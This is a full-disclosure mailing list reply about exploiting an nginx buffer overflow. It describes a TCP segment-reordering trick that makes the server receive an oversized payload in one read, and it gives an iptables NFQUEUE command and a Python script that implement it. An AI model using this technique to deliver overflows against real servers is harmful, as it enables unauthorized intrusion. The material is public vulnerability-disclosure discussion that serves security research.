Message-ID: <CAO4nny7WeeG9a1HtRoudj3ozgHOL6CvN77+ySeG+U3i6tD_pMQ@mail.gmail.com>
Date: Wed, 24 Jul 2013 12:13:24 +0200
From: Albert Puigsech Galicia <albert@...gsech.com>
To: king cope <isowarez.isowarez.isowarez@...glemail.com>
Cc: full-disclosure@...ts.grok.org.uk, submissions@...ketstormsecurity.com,
  submit@...sec.com, bugtraq@...urityfocus.com
Subject: Re: [Full-disclosure] nginx exploit documentation, about a generic
 way to exploit Linux targets

Hello everybody,


> "Ioctl is needed to set the nginx socket blocking so another call to write(2) will read much more memory than it is possible with the default non-blocking connection of nginx."


This vulnerability was published recently and it seems that many
exploiters got stuck because the socket will not block because the
buffer is longer than the standard ethernet MTU, some others have
found another attack vector without that problem.

Let me to explain how we have achieved to overcome the non-blocking
socket impediment without doing so much:


When packets arriving at the TCP layer are analyzed and once
determined the sequence are immediately delivered to the upper layer
of the OSI model.

Let's imagine that you want to overflow a big buffer through the
network. Normally you would execute something like;

send(sock, "AAAAA….A",…);

If the size of the data is bigger than the MTU, is then splitted into
multiple packages. The destination processes the information on many
smaller packages instead of one. In summary,the read()/recv() doesn't
get all the data and the overflow is not done.

And that's what's happening on ngingx.



What we have done to prevent that packets are delivered directly to
the next layer is taking profit of TCP windows and TCP reorder:
sending the first package on the last place.

What happens is that the TCP stack will not deliver the packets to the
next layer because the information is not complete, and just wait
until all information (up to the size of the tcp window) is received
to deliver it.

Then the application layer will get all the information in _the same_
read an the overflow will happen.



Using that TCP trick, the size limitation of the overflow is the TCP
window size instead the MTU.



One easy and **dirty** way to implement this is using iptables and
nfqueue, but there are some better ones:

# iptables -A OUTPUT -p tcp -d <IP> --destination-port <PORT> -j NFQUEUE
# python nfq.py

Regards,



===/ nfq.py /===
import nfqueue
import socket
import time

data_count = 0
delayed = None

def cb(dummy, payload):
        global data_count
        global delayed
        data = payload.get_data()
# DIRTY for first data package (not three-way-handshake)
        if len(data) > 60:
                data_count += 1
                if (data_count == 1):
                        delayed = payload
                        print data
# Just DROP the packet and the local TCP stack will send it again
because won't get the ACK.
                        payload.set_verdict(nfqueue.NF_DROP)
        else:
                data_count = 0


q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(cb)
q.create_queue(0)
try:
        q.try_run()
except KeyboardInterrupt:
        print "Exiting..."
q.unbind(socket.AF_INET)
q.close()
===/ nfq.py /===

On 23 July 2013 19:49, king cope
<isowarez.isowarez.isowarez@...glemail.com> wrote:
> (see attachment)
>
> /Kingcope
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/



-- 
Albert Puigsech Galicia
+ Mail: albert@...gsech.com
+ Jabber: albert@...gsech.com
+ Twitter: @apuigsech
+ Web: file:///dev/null

Powered by blists - more mailing lists